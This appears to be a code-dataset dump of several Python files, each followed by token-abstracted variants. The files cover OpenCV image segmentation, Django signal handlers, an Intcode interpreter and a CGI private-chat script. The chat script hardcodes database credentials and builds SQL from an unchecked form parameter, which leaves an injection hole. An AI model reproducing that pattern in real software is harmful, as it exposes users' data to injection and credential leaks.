white_mask=False, yellow_mask=False)\ncv2.imwrite('the3_B3_output.png', segmented_image)\nimage_bgr = cv2.imread(B4)\nimage = cv2.cvtColor(image_bgr, cv2.COLOR_BGR2RGB)\nsegmented_image = segmentation_function(image, 'B4', blue_mask=True,\n white_mask=False, yellow_mask=False)\ncv2.imwrite('the3_B4_output.png', segmented_image)\nimage_bgr = cv2.imread(B5)\nimage = cv2.cvtColor(image_bgr, cv2.COLOR_BGR2RGB)\nsegmented_image = segmentation_function(image, 'B5', blue_mask=True,\n white_mask=False, yellow_mask=True)\ncv2.imwrite('the3_B5_output.png', segmented_image)\n", "<import token>\n<assignment token>\n\n\ndef segmentation_function(image, name, blue_mask=False, white_mask=False,\n yellow_mask=False):\n image = cv2.GaussianBlur(image, (11, 11), 0)\n hsv_image = cv2.cvtColor(image, cv2.COLOR_RGB2HSV)\n low_green = np.array([30, 0, 0])\n high_green = np.array([86, 255, 255])\n mask_final = cv2.inRange(hsv_image, low_green, high_green)\n if blue_mask == True:\n low_blue = np.array([80, 0, 0])\n high_blue = np.array([125, 255, 255])\n mask_blue = cv2.inRange(hsv_image, low_blue, high_blue)\n mask_final = mask_final + mask_blue\n if white_mask == True:\n low_white = np.array([0, 0, 200])\n high_white = np.array([145, 60, 255])\n mask_white = cv2.inRange(hsv_image, low_white, high_white)\n mask_final = mask_final + mask_white\n if yellow_mask == True:\n low_yellow = np.array([10, 0, 0])\n high_yellow = np.array([33, 255, 100])\n mask_yellow = cv2.inRange(hsv_image, low_yellow, high_yellow)\n mask_final = mask_final + mask_yellow\n mask_final = 255 - mask_final\n kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (27, 27))\n mask_final = cv2.morphologyEx(mask_final, cv2.MORPH_OPEN, kernel)\n kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (41, 41))\n mask_final = cv2.morphologyEx(mask_final, cv2.MORPH_CLOSE, kernel)\n segmented_image = np.zeros_like(mask_final)\n for val in np.unique(mask_final)[1:]:\n mask = np.uint8(mask_final == val)\n labels, stats = cv2.connectedComponentsWithStats(mask, 4)[1:3]\n largest_label = 1 + np.argmax(stats[1:, cv2.CC_STAT_AREA])\n segmented_image[labels == largest_label] = val\n return segmented_image\n\n\n<assignment token>\ncv2.imwrite('the3_B1_output.png', segmented_image)\n<assignment token>\ncv2.imwrite('the3_B2_output.png', segmented_image)\n<assignment token>\ncv2.imwrite('the3_B3_output.png', segmented_image)\n<assignment token>\ncv2.imwrite('the3_B4_output.png', segmented_image)\n<assignment token>\ncv2.imwrite('the3_B5_output.png', segmented_image)\n", "<import token>\n<assignment token>\n\n\ndef segmentation_function(image, name, blue_mask=False, white_mask=False,\n yellow_mask=False):\n image = cv2.GaussianBlur(image, (11, 11), 0)\n hsv_image = cv2.cvtColor(image, cv2.COLOR_RGB2HSV)\n low_green = np.array([30, 0, 0])\n high_green = np.array([86, 255, 255])\n mask_final = cv2.inRange(hsv_image, low_green, high_green)\n if blue_mask == True:\n low_blue = np.array([80, 0, 0])\n high_blue = np.array([125, 255, 255])\n mask_blue = cv2.inRange(hsv_image, low_blue, high_blue)\n mask_final = mask_final + mask_blue\n if white_mask == True:\n low_white = np.array([0, 0, 200])\n high_white = np.array([145, 60, 255])\n mask_white = cv2.inRange(hsv_image, low_white, high_white)\n mask_final = mask_final + mask_white\n if yellow_mask == True:\n low_yellow = np.array([10, 0, 0])\n high_yellow = np.array([33, 255, 100])\n mask_yellow = cv2.inRange(hsv_image, low_yellow, high_yellow)\n mask_final = mask_final + mask_yellow\n mask_final = 255 - mask_final\n kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (27, 27))\n mask_final = cv2.morphologyEx(mask_final, cv2.MORPH_OPEN, kernel)\n kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (41, 41))\n mask_final = cv2.morphologyEx(mask_final, cv2.MORPH_CLOSE, kernel)\n segmented_image = np.zeros_like(mask_final)\n for val in np.unique(mask_final)[1:]:\n mask = np.uint8(mask_final == val)\n labels, stats = cv2.connectedComponentsWithStats(mask, 4)[1:3]\n largest_label = 1 + np.argmax(stats[1:, cv2.CC_STAT_AREA])\n segmented_image[labels == largest_label] = val\n return segmented_image\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]
false
494
065a566b3e520c14f20d0d7d668ec58404d6e11b
# coding=utf-8 # Copyright 2016 Mystopia. from __future__ import (absolute_import, division, generators, nested_scopes, print_function, unicode_literals, with_statement) from django.db.models.signals import m2m_changed, post_save from django.dispatch import receiver from dicpick.models import Task, TaskType # The signal handlers below ensure that certain changes to TaskType are reflected onto all the tasks of that type. # Note that the signal handlers run in the same transaction as the event that triggered the signal. @receiver(post_save, sender=TaskType) def create_task_instances(sender, instance, **kwargs): """Ensure that there is a task instance for each date in the range specified by the task type. Necessary to support date range changes. """ task_type = instance existing_dates = set([task.date for task in task_type.tasks.all()]) required_dates = set(task_type.date_range()) missing_dates = required_dates - existing_dates superfluous_dates = existing_dates - required_dates Task.objects.filter(task_type=task_type, date__in=superfluous_dates).delete() for missing_date in missing_dates: task = Task(task_type=task_type, date=missing_date, num_people=task_type.num_people, score=task_type.score) task.save() Task.objects.filter(task_type=task_type).update(num_people=task_type.num_people, score=task_type.score) @receiver(m2m_changed, sender=TaskType.tags.through) def tags_updated(sender, instance, action, **kwargs): """If tags were added to or removed from a TaskType, add/remove them from all tasks of that type.""" task_type = instance pk_set = kwargs.pop('pk_set') if action == 'post_add': for task in task_type.tasks.all(): task.tags.add(*pk_set) elif action == 'post_remove': for task in task_type.tasks.all(): task.tags.remove(*pk_set)
[ "# coding=utf-8\n# Copyright 2016 Mystopia.\n\nfrom __future__ import (absolute_import, division, generators, nested_scopes,\n print_function, unicode_literals, with_statement)\n\nfrom django.db.models.signals import m2m_changed, post_save\nfrom django.dispatch import receiver\n\nfrom dicpick.models import Task, TaskType\n\n\n# The signal handlers below ensure that certain changes to TaskType are reflected onto all the tasks of that type.\n# Note that the signal handlers run in the same transaction as the event that triggered the signal.\n\n@receiver(post_save, sender=TaskType)\ndef create_task_instances(sender, instance, **kwargs):\n \"\"\"Ensure that there is a task instance for each date in the range specified by the task type.\n\n Necessary to support date range changes.\n \"\"\"\n task_type = instance\n existing_dates = set([task.date for task in task_type.tasks.all()])\n required_dates = set(task_type.date_range())\n missing_dates = required_dates - existing_dates\n superfluous_dates = existing_dates - required_dates\n Task.objects.filter(task_type=task_type, date__in=superfluous_dates).delete()\n for missing_date in missing_dates:\n task = Task(task_type=task_type, date=missing_date, num_people=task_type.num_people, score=task_type.score)\n task.save()\n\n Task.objects.filter(task_type=task_type).update(num_people=task_type.num_people, score=task_type.score)\n\n\n@receiver(m2m_changed, sender=TaskType.tags.through)\ndef tags_updated(sender, instance, action, **kwargs):\n \"\"\"If tags were added to or removed from a TaskType, add/remove them from all tasks of that type.\"\"\"\n task_type = instance\n pk_set = kwargs.pop('pk_set')\n if action == 'post_add':\n for task in task_type.tasks.all():\n task.tags.add(*pk_set)\n elif action == 'post_remove':\n for task in task_type.tasks.all():\n task.tags.remove(*pk_set)\n", "from __future__ import absolute_import, division, generators, nested_scopes, print_function, unicode_literals, with_statement\nfrom django.db.models.signals import m2m_changed, post_save\nfrom django.dispatch import receiver\nfrom dicpick.models import Task, TaskType\n\n\n@receiver(post_save, sender=TaskType)\ndef create_task_instances(sender, instance, **kwargs):\n \"\"\"Ensure that there is a task instance for each date in the range specified by the task type.\n\n Necessary to support date range changes.\n \"\"\"\n task_type = instance\n existing_dates = set([task.date for task in task_type.tasks.all()])\n required_dates = set(task_type.date_range())\n missing_dates = required_dates - existing_dates\n superfluous_dates = existing_dates - required_dates\n Task.objects.filter(task_type=task_type, date__in=superfluous_dates\n ).delete()\n for missing_date in missing_dates:\n task = Task(task_type=task_type, date=missing_date, num_people=\n task_type.num_people, score=task_type.score)\n task.save()\n Task.objects.filter(task_type=task_type).update(num_people=task_type.\n num_people, score=task_type.score)\n\n\n@receiver(m2m_changed, sender=TaskType.tags.through)\ndef tags_updated(sender, instance, action, **kwargs):\n \"\"\"If tags were added to or removed from a TaskType, add/remove them from all tasks of that type.\"\"\"\n task_type = instance\n pk_set = kwargs.pop('pk_set')\n if action == 'post_add':\n for task in task_type.tasks.all():\n task.tags.add(*pk_set)\n elif action == 'post_remove':\n for task in task_type.tasks.all():\n task.tags.remove(*pk_set)\n", "<import token>\n\n\n@receiver(post_save, sender=TaskType)\ndef create_task_instances(sender, instance, **kwargs):\n \"\"\"Ensure that there is a task instance for each date in the range specified by the task type.\n\n Necessary to support date range changes.\n \"\"\"\n task_type = instance\n existing_dates = set([task.date for task in task_type.tasks.all()])\n required_dates = set(task_type.date_range())\n missing_dates = required_dates - existing_dates\n superfluous_dates = existing_dates - required_dates\n Task.objects.filter(task_type=task_type, date__in=superfluous_dates\n ).delete()\n for missing_date in missing_dates:\n task = Task(task_type=task_type, date=missing_date, num_people=\n task_type.num_people, score=task_type.score)\n task.save()\n Task.objects.filter(task_type=task_type).update(num_people=task_type.\n num_people, score=task_type.score)\n\n\n@receiver(m2m_changed, sender=TaskType.tags.through)\ndef tags_updated(sender, instance, action, **kwargs):\n \"\"\"If tags were added to or removed from a TaskType, add/remove them from all tasks of that type.\"\"\"\n task_type = instance\n pk_set = kwargs.pop('pk_set')\n if action == 'post_add':\n for task in task_type.tasks.all():\n task.tags.add(*pk_set)\n elif action == 'post_remove':\n for task in task_type.tasks.all():\n task.tags.remove(*pk_set)\n", "<import token>\n\n\n@receiver(post_save, sender=TaskType)\ndef create_task_instances(sender, instance, **kwargs):\n \"\"\"Ensure that there is a task instance for each date in the range specified by the task type.\n\n Necessary to support date range changes.\n \"\"\"\n task_type = instance\n existing_dates = set([task.date for task in task_type.tasks.all()])\n required_dates = set(task_type.date_range())\n missing_dates = required_dates - existing_dates\n superfluous_dates = existing_dates - required_dates\n Task.objects.filter(task_type=task_type, date__in=superfluous_dates\n ).delete()\n for missing_date in missing_dates:\n task = Task(task_type=task_type, date=missing_date, num_people=\n task_type.num_people, score=task_type.score)\n task.save()\n Task.objects.filter(task_type=task_type).update(num_people=task_type.\n num_people, score=task_type.score)\n\n\n<function token>\n", "<import token>\n<function token>\n<function token>\n" ]
false
495
dc88686d3cbb4223b4de6847bf4fc29b93054b00
#! /usr/bin/env python3 import EchooFunctions, cgi, MySQLdb, hashlib, time, requests, os print ('Content-type: text/html\n') form = cgi.FieldStorage() #database connection user = "i494f18_team34" db_pass = "my+sql=i494f18_team34" db_con = MySQLdb.connect(host="db.soic.indiana.edu", port = 3306, user=user, passwd=db_pass, db=user) cursor = db_con.cursor() receiverID = form.getfirst('user','') userName = "" userID = "" if "echooUser" in str(os.environ): userName = EchooFunctions.getUserName() userName = userName[0] userID = EchooFunctions.getUserID(cursor, userName) admin = False #change the status of veriable if userName != "": if EchooFunctions.checkUserType(cursor, userName) == "administrator": admin = True #main contents to insert friend = "" friendList = "" chatroom = "" userList = [] if userID != "" and receiverID !="": try: SQL = "select u.userID, u.username, u.icon, m.detail, m.time_in,m.messageID from user as u, private_message as m where u.userID = " SQL+= "m.sender and m.receiver = "+str(userID)+" and m.sender = "+str(receiverID) SQL+= " Union select u.userID, u.username, u.icon, m.detail, m.time_in ,m.messageID from user as u, private_message as m where u.userID = " SQL+= "m.sender and m.receiver = "+str(receiverID)+" and m.sender = "+str(userID) SQL+=" Order By messageID ;" cursor.execute(SQL) results = cursor.fetchall() except Exception as e: print('<p>Something went wrong with the first SQL!</p>') print(SQL, "Error:", e) else: if results: count = 5 for row in results: word_count = 0 specialChar=row[3] specialChar2 = "" specialChar=EchooFunctions.returnSpecialChara(specialChar) for x in specialChar: if word_count<=20: specialChar2 += x word_count+=1 else: specialChar2 += x +"<p>" word_count = 0 if count >= 5: chatroom+='<li class="chatDate">'+str(row[4])+'</li>' count=0 if str(row[0]) ==str(userID): count+=1 chatroom+='<li class="mainUser">'+'<a href="userProfile.cgi?user='+str(row[0])+'">'+row[1]+'</a><img src="images/user/'+row[2]+'" alt="club1">' chatroom+='<br><div class="messageLine">'+specialChar2+'</div></li>' else: count+=1 chatroom+='<li class="otherUser"><img src="images/user/'+row[2]+'" alt="club1">' chatroom+='<a href="userProfile.cgi?userid='+str(row[0])+'">'+row[1]+'</a><br><div class="messageLine">'+specialChar2+'</div></li>' if userID == "" or receiverID =="": content ="""<p>You don't have right access to this page</p> <a href='index.cgi'></a>""" print(content) print(chatroom)
[ "#! /usr/bin/env python3\n\nimport EchooFunctions, cgi, MySQLdb, hashlib, time, requests, os\nprint ('Content-type: text/html\\n')\n\nform = cgi.FieldStorage()\n\n#database connection\nuser = \"i494f18_team34\"\ndb_pass = \"my+sql=i494f18_team34\"\ndb_con = MySQLdb.connect(host=\"db.soic.indiana.edu\", port = 3306, user=user, passwd=db_pass, db=user)\ncursor = db_con.cursor()\nreceiverID = form.getfirst('user','')\nuserName = \"\"\nuserID = \"\"\nif \"echooUser\" in str(os.environ):\n userName = EchooFunctions.getUserName()\n userName = userName[0]\n userID = EchooFunctions.getUserID(cursor, userName)\n\nadmin = False\n#change the status of veriable\nif userName != \"\":\n if EchooFunctions.checkUserType(cursor, userName) == \"administrator\":\n admin = True\n#main contents to insert\nfriend = \"\"\nfriendList = \"\"\nchatroom = \"\"\nuserList = []\nif userID != \"\" and receiverID !=\"\":\n try:\n SQL = \"select u.userID, u.username, u.icon, m.detail, m.time_in,m.messageID from user as u, private_message as m where u.userID = \"\n SQL+= \"m.sender and m.receiver = \"+str(userID)+\" and m.sender = \"+str(receiverID)\n SQL+= \" Union select u.userID, u.username, u.icon, m.detail, m.time_in ,m.messageID from user as u, private_message as m where u.userID = \"\n SQL+= \"m.sender and m.receiver = \"+str(receiverID)+\" and m.sender = \"+str(userID)\n SQL+=\" Order By messageID ;\"\n cursor.execute(SQL)\n results = cursor.fetchall()\n except Exception as e:\n print('<p>Something went wrong with the first SQL!</p>')\n print(SQL, \"Error:\", e)\n else:\n if results:\n count = 5\n for row in results:\n word_count = 0\n specialChar=row[3]\n specialChar2 = \"\"\n specialChar=EchooFunctions.returnSpecialChara(specialChar)\n for x in specialChar:\n if word_count<=20:\n specialChar2 += x\n word_count+=1\n else:\n specialChar2 += x +\"<p>\"\n word_count = 0\n if count >= 5:\n chatroom+='<li class=\"chatDate\">'+str(row[4])+'</li>'\n count=0\n if str(row[0]) ==str(userID):\n count+=1\n chatroom+='<li class=\"mainUser\">'+'<a href=\"userProfile.cgi?user='+str(row[0])+'\">'+row[1]+'</a><img src=\"images/user/'+row[2]+'\" alt=\"club1\">'\n chatroom+='<br><div class=\"messageLine\">'+specialChar2+'</div></li>'\n else:\n count+=1\n chatroom+='<li class=\"otherUser\"><img src=\"images/user/'+row[2]+'\" alt=\"club1\">'\n chatroom+='<a href=\"userProfile.cgi?userid='+str(row[0])+'\">'+row[1]+'</a><br><div class=\"messageLine\">'+specialChar2+'</div></li>'\n\nif userID == \"\" or receiverID ==\"\":\n content =\"\"\"<p>You don't have right access to this page</p>\n<a href='index.cgi'></a>\"\"\"\n print(content)\nprint(chatroom)\n", "import EchooFunctions, cgi, MySQLdb, hashlib, time, requests, os\nprint('Content-type: text/html\\n')\nform = cgi.FieldStorage()\nuser = 'i494f18_team34'\ndb_pass = 'my+sql=i494f18_team34'\ndb_con = MySQLdb.connect(host='db.soic.indiana.edu', port=3306, user=user,\n passwd=db_pass, db=user)\ncursor = db_con.cursor()\nreceiverID = form.getfirst('user', '')\nuserName = ''\nuserID = ''\nif 'echooUser' in str(os.environ):\n userName = EchooFunctions.getUserName()\n userName = userName[0]\n userID = EchooFunctions.getUserID(cursor, userName)\nadmin = False\nif userName != '':\n if EchooFunctions.checkUserType(cursor, userName) == 'administrator':\n admin = True\nfriend = ''\nfriendList = ''\nchatroom = ''\nuserList = []\nif userID != '' and receiverID != '':\n try:\n SQL = (\n 'select u.userID, u.username, u.icon, m.detail, m.time_in,m.messageID from user as u, private_message as m where u.userID = '\n )\n SQL += 'm.sender and m.receiver = ' + str(userID\n ) + ' and m.sender = ' + str(receiverID)\n SQL += (\n ' Union select u.userID, u.username, u.icon, m.detail, m.time_in ,m.messageID from user as u, private_message as m where u.userID = '\n )\n SQL += 'm.sender and m.receiver = ' + str(receiverID\n ) + ' and m.sender = ' + str(userID)\n SQL += ' Order By messageID ;'\n cursor.execute(SQL)\n results = cursor.fetchall()\n except Exception as e:\n print('<p>Something went wrong with the first SQL!</p>')\n print(SQL, 'Error:', e)\n else:\n if results:\n count = 5\n for row in results:\n word_count = 0\n specialChar = row[3]\n specialChar2 = ''\n specialChar = EchooFunctions.returnSpecialChara(specialChar)\n for x in specialChar:\n if word_count <= 20:\n specialChar2 += x\n word_count += 1\n else:\n specialChar2 += x + '<p>'\n word_count = 0\n if count >= 5:\n chatroom += '<li class=\"chatDate\">' + str(row[4]) + '</li>'\n count = 0\n if str(row[0]) == str(userID):\n count += 1\n chatroom += ('<li class=\"mainUser\">' +\n '<a href=\"userProfile.cgi?user=' + str(row[0]) +\n '\">' + row[1] + '</a><img src=\"images/user/' + row[\n 2] + '\" alt=\"club1\">')\n chatroom += ('<br><div class=\"messageLine\">' +\n specialChar2 + '</div></li>')\n else:\n count += 1\n chatroom += (\n '<li class=\"otherUser\"><img src=\"images/user/' +\n row[2] + '\" alt=\"club1\">')\n chatroom += ('<a href=\"userProfile.cgi?userid=' + str(\n row[0]) + '\">' + row[1] +\n '</a><br><div class=\"messageLine\">' + specialChar2 +\n '</div></li>')\nif userID == '' or receiverID == '':\n content = (\n \"<p>You don't have right access to this page</p>\\n<a href='index.cgi'></a>\"\n )\n print(content)\nprint(chatroom)\n", "<import token>\nprint('Content-type: text/html\\n')\nform = cgi.FieldStorage()\nuser = 'i494f18_team34'\ndb_pass = 'my+sql=i494f18_team34'\ndb_con = MySQLdb.connect(host='db.soic.indiana.edu', port=3306, user=user,\n passwd=db_pass, db=user)\ncursor = db_con.cursor()\nreceiverID = form.getfirst('user', '')\nuserName = ''\nuserID = ''\nif 'echooUser' in str(os.environ):\n userName = EchooFunctions.getUserName()\n userName = userName[0]\n userID = EchooFunctions.getUserID(cursor, userName)\nadmin = False\nif userName != '':\n if EchooFunctions.checkUserType(cursor, userName) == 'administrator':\n admin = True\nfriend = ''\nfriendList = ''\nchatroom = ''\nuserList = []\nif userID != '' and receiverID != '':\n try:\n SQL = (\n 'select u.userID, u.username, u.icon, m.detail, m.time_in,m.messageID from user as u, private_message as m where u.userID = '\n )\n SQL += 'm.sender and m.receiver = ' + str(userID\n ) + ' and m.sender = ' + str(receiverID)\n SQL += (\n ' Union select u.userID, u.username, u.icon, m.detail, m.time_in ,m.messageID from user as u, private_message as m where u.userID = '\n )\n SQL += 'm.sender and m.receiver = ' + str(receiverID\n ) + ' and m.sender = ' + str(userID)\n SQL += ' Order By messageID ;'\n cursor.execute(SQL)\n results = cursor.fetchall()\n except Exception as e:\n print('<p>Something went wrong with the first SQL!</p>')\n print(SQL, 'Error:', e)\n else:\n if results:\n count = 5\n for row in results:\n word_count = 0\n specialChar = row[3]\n specialChar2 = ''\n specialChar = EchooFunctions.returnSpecialChara(specialChar)\n for x in specialChar:\n if word_count <= 20:\n specialChar2 += x\n word_count += 1\n else:\n specialChar2 += x + '<p>'\n word_count = 0\n if count >= 5:\n chatroom += '<li class=\"chatDate\">' + str(row[4]) + '</li>'\n count = 0\n if str(row[0]) == str(userID):\n count += 1\n chatroom += ('<li class=\"mainUser\">' +\n '<a href=\"userProfile.cgi?user=' + str(row[0]) +\n '\">' + row[1] + '</a><img src=\"images/user/' + row[\n 2] + '\" alt=\"club1\">')\n chatroom += ('<br><div class=\"messageLine\">' +\n specialChar2 + '</div></li>')\n else:\n count += 1\n chatroom += (\n '<li class=\"otherUser\"><img src=\"images/user/' +\n row[2] + '\" alt=\"club1\">')\n chatroom += ('<a href=\"userProfile.cgi?userid=' + str(\n row[0]) + '\">' + row[1] +\n '</a><br><div class=\"messageLine\">' + specialChar2 +\n '</div></li>')\nif userID == '' or receiverID == '':\n content = (\n \"<p>You don't have right access to this page</p>\\n<a href='index.cgi'></a>\"\n )\n print(content)\nprint(chatroom)\n", "<import token>\nprint('Content-type: text/html\\n')\n<assignment token>\nif 'echooUser' in str(os.environ):\n userName = EchooFunctions.getUserName()\n userName = userName[0]\n userID = EchooFunctions.getUserID(cursor, userName)\n<assignment token>\nif userName != '':\n if EchooFunctions.checkUserType(cursor, userName) == 'administrator':\n admin = True\n<assignment token>\nif userID != '' and receiverID != '':\n try:\n SQL = (\n 'select u.userID, u.username, u.icon, m.detail, m.time_in,m.messageID from user as u, private_message as m where u.userID = '\n )\n SQL += 'm.sender and m.receiver = ' + str(userID\n ) + ' and m.sender = ' + str(receiverID)\n SQL += (\n ' Union select u.userID, u.username, u.icon, m.detail, m.time_in ,m.messageID from user as u, private_message as m where u.userID = '\n )\n SQL += 'm.sender and m.receiver = ' + str(receiverID\n ) + ' and m.sender = ' + str(userID)\n SQL += ' Order By messageID ;'\n cursor.execute(SQL)\n results = cursor.fetchall()\n except Exception as e:\n print('<p>Something went wrong with the first SQL!</p>')\n print(SQL, 'Error:', e)\n else:\n if results:\n count = 5\n for row in results:\n word_count = 0\n specialChar = row[3]\n specialChar2 = ''\n specialChar = EchooFunctions.returnSpecialChara(specialChar)\n for x in specialChar:\n if word_count <= 20:\n specialChar2 += x\n word_count += 1\n else:\n specialChar2 += x + '<p>'\n word_count = 0\n if count >= 5:\n chatroom += '<li class=\"chatDate\">' + str(row[4]) + '</li>'\n count = 0\n if str(row[0]) == str(userID):\n count += 1\n chatroom += ('<li class=\"mainUser\">' +\n '<a href=\"userProfile.cgi?user=' + str(row[0]) +\n '\">' + row[1] + '</a><img src=\"images/user/' + row[\n 2] + '\" alt=\"club1\">')\n chatroom += ('<br><div class=\"messageLine\">' +\n specialChar2 + '</div></li>')\n else:\n count += 1\n chatroom += (\n '<li class=\"otherUser\"><img src=\"images/user/' +\n row[2] + '\" alt=\"club1\">')\n chatroom += ('<a href=\"userProfile.cgi?userid=' + str(\n row[0]) + '\">' + row[1] +\n '</a><br><div class=\"messageLine\">' + specialChar2 +\n '</div></li>')\nif userID == '' or receiverID == '':\n content = (\n \"<p>You don't have right access to this page</p>\\n<a href='index.cgi'></a>\"\n )\n print(content)\nprint(chatroom)\n", "<import token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]
false
496
653e65281984ebb06467aeadb6f0e2b11f1bcb4d
#!/usr/bin/python3 def file_to_code(fname): mem = [] for line in open(fname,"r"): mem.extend([int(i) for i in line.split(",")]) return mem class Opcode(object): def __init__(self, mem, ptr, code, inc): """ >>> o = Opcode([1001, 2, 4, 1], 0, 1, 4) >>> o._Opcode__par_modes [0, 1] """ if mem[ptr]%100 != code: raise Exception("Creating Opcode%d for opcode %d"%(code, mem[ptr])) self.memory = mem self.ptr = ptr self.__par_modes = list(reversed([int(i) for i in str(int(mem[ptr]/100))])) self.__ptr_inc = inc def ptr_inc(self): return self.__ptr_inc def get_val(self, arg_idx): """ >>> o = Opcode([1001, 2, 4, 1], 0, 1, 4) >>> o.get_val(1) 4 >>> o.get_val(2) 4 >>> o.get_val(3) 2 """ idx = arg_idx-1 if idx >= len(self.__par_modes) or self.__par_modes[idx] == 0: return self.memory[self.memory[self.ptr+arg_idx]] elif self.__par_modes[idx] == 1: return self.memory[self.ptr + arg_idx] def set_ptr(self): return False,0 def reads(self): raise Exception("Call to base class reads()") def writes(self): raise Exception("Call to base class writes()") def op(self): raise Exception("Call to base class op()") def params(self): raise Exception("Call to base class params()") def run(self): raise Exception("Call to base class run()") class Opcode1(Opcode): """ >>> o = Opcode1([101, 2, 1, 3], 0) >>> o.run() True >>> o.memory [101, 2, 1, 4] """ def __init__(self, mem, ptr): super().__init__(mem, ptr, 1, 4) self.__first = self.get_val(1) self.__second = self.get_val(2) self.__res = mem[ptr+3] def run(self): self.memory[self.__res] = self.__first + self.__second return True def params(self): return {'noun':self.__first, 'verb':self.__second, 'result':self.__res} def reads(self): return [self.__first, self.__second] def writes(self): return self.__res def op(self): return "+" def __str__(self): return "loc[%d] = %d + %d"%(self.__res,self.__first,self.__second) class Opcode2(Opcode): """ >>> o = Opcode2([2, 2, 3, 4, 99], 0) >>> o.run() True >>> o.memory [2, 2, 3, 4, 12] """ def __init__(self, mem, ptr): super().__init__(mem, ptr, 2, 4) self.__first = self.get_val(1) self.__second = self.get_val(2) self.__res = mem[ptr+3] def run(self): self.memory[self.__res] = self.__first * self.__second return True def params(self): return {'noun':self.__first, 'verb':self.__second, 'result':self.__res} def reads(self): return [self.__first, self.__second] def writes(self): return self.__res def op(self): return "*" def __str__(self): return "loc[%d] = %d * %d"%(self.__res,self.__first,self.__second) class Opcode99(Opcode): """ >>> o = Opcode99([99,12,3,4,5], 0) >>> o.run() False """ def __init__(self, mem, ptr): super().__init__(mem, ptr, 99, 1) def run(self): return False def params(self): return {} def reads(self): return [] def writes(self): return None def op(self): return "HALT" def __str__(self): return "HALT" def default_ops(): return {1:Opcode1,2:Opcode2,99:Opcode99} class Interpreter(object): def __init__(self, input_code, ops=default_ops()): self.__memory = input_code self.__ops = ops self.__ptr = 0 self.__running = True self.length = len(self.__memory) def stepi(self): o = None if self.__running: o = self.next_op() self.__running = o.run() chk,val = o.set_ptr() if chk: self.__ptr = val else: self.__ptr += o.ptr_inc() return o def run(self): while self.__running: self.stepi() def inspect(self,loc): return self.__memory[loc] def next_op(self): return self.op_at(self.__ptr) def op_at(self, ptr): return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr) def __str__(self): strs = [] for i,v in enumerate(self.__memory): if i == self.__ptr: strs.append("{:*>4}".format(v)) else: strs.append("{:>4}".format(v)) return ",".join(strs) + "\n" + "Next:\n\t" + str(self.next_op()) def poke(self,loc,val): self.__memory[loc] = val def rebind(self,code,call): self.__ops[code] = call def as_opcodes(self): ops = [self.op_at(0)] ptr = ops[-1].ptr_inc() while ops[-1].op() != "HALT": ops.append(self.op_at(ptr)) ptr += ops[-1].ptr_inc() return ops class ValueNode(object): def __init__(self,val,tag=''): self.__val = val self.__tag = tag def __str__(self): return self.__tag + str(self.__val) class OpNode(object): def __init__(self,op,depends): self.__op = op self.__depends = depends def __str__(self): return "(" + self.__op.op().join([str(i) for i in self.__depends]) + ")" class OpcodeTreeBuilder(object): def __init__(self, interp): self.__interpreter = interp self.__codes = interp.as_opcodes() def construct_mappings(self): for i in self.__codes: params = i.params() if 'result' in params.keys(): if params['result'] not in self.__writes_to.keys(): self.__writes_to[params['result']] = [] self.__writes_to[params['result']].append(i) if 'noun' in params.keys(): if params['noun'] not in self.__reads_from.keys(): self.__reads_from[params['noun']] = [] self.__reads_from[params['noun']].append(i) if 'verb' in params.keys(): if params['verb'] not in self.__reads_from.keys(): self.__reads_from[params['verb']] = [] self.__reads_from[params['verb']].append(i) def construct_graph(self): op = self.__interpreter.op_at(0) reads = [ValueNode(self.__interpreter.inspect(i),tag="raw%d_"%(i)) for i in op.reads()] writes = op.writes() base = OpNode(op,reads) ptr = op.ptr_inc() last_write = {} if writes: last_write[writes] = base while op.op() != "HALT": op = self.__interpreter.op_at(ptr) if op.op() == "HALT": break depends = [] for i in op.reads(): if i in last_write.keys(): depends.append(last_write[i]) else: depends.append(ValueNode(self.__interpreter.inspect(i))) base = OpNode(op,depends) if op.writes(): last_write[op.writes()] = base ptr += op.ptr_inc() return base if __name__=='__main__': import doctest doctest.testmod() ################################################# # i = Interpreter(file_to_code("day2_input.txt")) # i.run() # i.inspect(0)
[ "#!/usr/bin/python3\n\ndef file_to_code(fname):\n\tmem = []\n\tfor line in open(fname,\"r\"):\n\t\tmem.extend([int(i) for i in line.split(\",\")])\n\treturn mem\n\nclass Opcode(object):\n\tdef __init__(self, mem, ptr, code, inc):\n\t\t\"\"\"\n\t\t>>> o = Opcode([1001, 2, 4, 1], 0, 1, 4)\n\t\t>>> o._Opcode__par_modes\n\t\t[0, 1]\n\t\t\"\"\"\n\t\tif mem[ptr]%100 != code:\n\t\t\traise Exception(\"Creating Opcode%d for opcode %d\"%(code, mem[ptr]))\n\t\tself.memory = mem\n\t\tself.ptr = ptr\n\t\tself.__par_modes = list(reversed([int(i) for i in str(int(mem[ptr]/100))]))\n\t\tself.__ptr_inc = inc\n\n\tdef ptr_inc(self):\n\t\treturn self.__ptr_inc\n\n\tdef get_val(self, arg_idx):\n\t\t\"\"\"\n\t\t>>> o = Opcode([1001, 2, 4, 1], 0, 1, 4)\n\t\t>>> o.get_val(1)\n\t\t4\n\t\t>>> o.get_val(2)\n\t\t4\n\t\t>>> o.get_val(3)\n\t\t2\n\t\t\"\"\"\n\t\tidx = arg_idx-1\n\t\tif idx >= len(self.__par_modes) or self.__par_modes[idx] == 0:\n\t\t\treturn self.memory[self.memory[self.ptr+arg_idx]]\n\t\telif self.__par_modes[idx] == 1:\n\t\t\treturn self.memory[self.ptr + arg_idx]\n\n\tdef set_ptr(self):\n\t\treturn False,0\n\n\tdef reads(self):\n\t\traise Exception(\"Call to base class reads()\")\n\n\tdef writes(self):\n\t\traise Exception(\"Call to base class writes()\")\n\n\tdef op(self):\n\t\traise Exception(\"Call to base class op()\")\n\n\tdef params(self):\n\t\traise Exception(\"Call to base class params()\")\n\n\tdef run(self):\n\t\traise Exception(\"Call to base class run()\")\n\n\nclass Opcode1(Opcode):\n\t\"\"\"\n\t>>> 